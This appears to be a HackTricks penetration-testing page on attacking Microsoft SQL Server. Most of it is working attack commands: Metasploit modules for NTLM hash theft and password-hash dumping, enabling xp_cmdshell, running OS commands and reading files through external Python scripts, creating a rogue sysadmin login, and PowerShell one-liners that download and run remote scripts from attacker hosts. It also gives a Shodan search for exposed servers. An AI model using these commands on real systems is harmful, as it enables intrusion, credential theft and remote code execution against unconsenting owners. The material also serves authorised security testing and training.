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As a [database server](https://en.wikipedia.org/wiki/Database_server), it is a [software product](https://en.wikipedia.org/wiki/Software_product) with the primary function of storing and retrieving data as requested by other [software applications](https://en.wikipedia.org/wiki/Software_application)—which may run either on the same computer or on another computer across a network \(including the Internet\). From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server). **Default port:** 1433 ```text 1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM ``` Search for _exploits/scripts/auxiliary modules_ that can be helpful to find vulnerabilities in this kind of service: ```bash searchsploit "microsoft sql server" nmap --script-help "*ms* and *sql*" msf> search mssql ``` ## Information ### **Default MS-SQL System Tables** * **master Database** : Records all the system-level information for an instance of SQL Server. * **msdb Database** : Is used by SQL Server Agent for scheduling alerts and jobs. * **model Database** : Is used as the template for all databases created on the instance of SQL Server. Modifications made to the model database, such as database size, collation, recovery model, and other database options, are applied to any databases created afterwards. * **Resource Database** : Is a read-only database that contains system objects that are included with SQL Server. System objects are physically persisted in the Resource database, but they logically appear in the sys schema of every database. * **tempdb Database** : Is a work-space for holding temporary objects or intermediate result sets. ## Info Gathering If you don't know nothing about the service: ```bash nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 msf> use auxiliary/scanner/mssql/mssql_ping ``` If you **don't** **have credentials** you can try to guess them. You can use nmap or metasploit. Be careful, you can **block accounts** if you fail login several times using an existing username. ### Metasploit ```bash #Set USERNAME, RHOSTS and PASSWORD #Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used #Steal NTLM msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder #Info gathering msf> use admin/mssql/mssql_enum #Security checks msf> use admin/mssql/mssql_enum_domain_accounts msf> use admin/mssql/mssql_enum_sql_logins msf> use auxiliary/admin/mssql/mssql_findandsampledata msf> use auxiliary/scanner/mssql/mssql_hashdump msf> use auxiliary/scanner/mssql/mssql_schemadump #Search for insteresting data msf> use auxiliary/admin/mssql/mssql_findandsampledata msf> use auxiliary/admin/mssql/mssql_idf #Privesc msf> use exploit/windows/mssql/mssql_linkcrawler msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin #Code execution msf> use admin/mssql/mssql_exec #Execute commands msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload #Add new admin user from meterpreter session msf> use windows/manage/mssql_local_auth_bypass ``` ### \*\*\*\*[**Brute force**](../brute-force.md#sql-server)\*\*\*\* ## Tricks ### Execute commands ```bash #Username + Password + CMD command crackmapexec mssql -d -u -p -x "whoami" #Username + Hash + PS command crackmapexec mssql -d -u -H -X '$PSVersionTable' #this turns on advanced options and is needed to configure xp_cmdshell sp_configure 'show advanced options', '1' RECONFIGURE #this enables xp_cmdshell sp_configure 'xp_cmdshell', '1' RECONFIGURE # Quickly check what the service account is via xp_cmdshell EXEC master..xp_cmdshell 'whoami' ``` ### NTLM Service Hash gathering [You can extract the](https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/) [**NTLM hash**](https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/) [of the user making the service authenticate against you.](https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/) You should start a **SMB server** to capture the hash used in the authentication \(impacket-smbserver or responder for example\). ```bash xp_dirtree '\\\any\thing' exec master.dbo.xp_dirtree '\\\any\thing' msf> use auxiliary/admin/mssql/mssql_ntlm_stealer ``` ### Abusing MSSQL trusted Links \*\*\*\*[**Read this post**](../windows/active-directory-methodology/mssql-trusted-links.md) **to find more information about how to abuse this feature** ### **Read files executing scripts \(Python and R\)** MSSQL could allow you to execute **scripts in Python and/or R**. These code will be executed by a **different user** than the one using **xp\_cmdshell** to execute commands. Example trying to execute a **'R'** _"Hellow World!"_ **not working**: ![](../.gitbook/assets/image%20%2813%29.png) Example using configured python to perform several actions: ```sql #Print the user being used (and execute commands) EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())' EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))' #Open and read a file EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())' #Multiline EXECUTE sp_execute_external_script @language = N'Python', @script = N' import sys print(sys.version) ' GO ``` ### From db\_owner to sysadmin [If you have the](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) [**credentials of a db\_owner user**](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)[, you can become](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) [**sysadmin**](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) [and](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) [**execute commands**](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) ```bash msf> use auxiliary/admin/mssql/mssql_escalate_dbowner ``` ### Impersonation of other users [IMPERSONATE privilege can lead to privilege escalation in SQL Server.](https://blog.netspi.com/hacking-sql-server-stored-procedures-part-2-user-impersonation/) ```bash msf> auxiliary/admin/mssql/mssql_escalate_execute_as ``` ### Using MSSQL for Persistence [https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/) ## Having credentials ### Mssqlclient.py You can login into the service using **impacket mssqlclient.py** ```bash mssqlclient.py -db volume -windows-auth /:@ #Recommended -windows-auth when you are going to use a domain. use as domain the netBIOS name of the machine #Once logged in you can run queries: SQL> select @@ version; #Steal NTLM hash sudo responder -I #Run that in other console SQL> exec master..xp_dirtree '\\\test' #Steal the NTLM hash, crack it with john or hashcat #Try to enable code execution SQL> enable_xp_cmdshell #Execute code, 2 sintax, for complex and non complex cmds SQL> xp_cmdshell whoami /all SQL> EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile' ``` ### sqsh ```bash sqsh -S -U -P -D ``` ![](../.gitbook/assets/image%20%28286%29.png) ## Manual ```sql SELECT name FROM master.dbo.sysdatabases #Get databases SELECT * FROM .INFORMATION_SCHEMA.TABLES; #Get table names #List Linked Servers EXEC sp_linkedservers SELECT * FROM sys.servers; #List users select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name; #Create user with sysadmin privs CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!' sp_addsrvrolemember 'hacker', 'sysadmin' ``` ## Post Explotation The user running MSSQL server will have enabled the privilege token **SeImpersonatePrivilege.** You probably will be able to escalate to Administrator using this token: [Juicy-potato](https://github.com/ohpe/juicy-potato) ## Shodan * `port:1433 !HTTP` ## HackTricks Automatic Commands ```text Protocol_Name: MSSQL #Protocol Abbreviation if there is one. Port_Number: 1433 #Comma separated if there is more than one. Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for MSSQL Note: | Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet). #sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G ###the goal is to get xp_cmdshell working### 1. try and see if it works xp_cmdshell `whoami` go 2. try to turn component back on EXEC SP_CONFIGURE 'xp_cmdshell' , 1 reconfigure go xp_cmdshell `whoami` go 3. 'advanced' turn it back on EXEC SP_CONFIGURE 'show advanced options', 1 reconfigure go EXEC SP_CONFIGURE 'xp_cmdshell' , 1 reconfigure go xp_cmdshell 'whoami' go xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')" https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server Entry_2: Name: Nmap for SQL Description: Nmap with SQL Scripts Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP} ```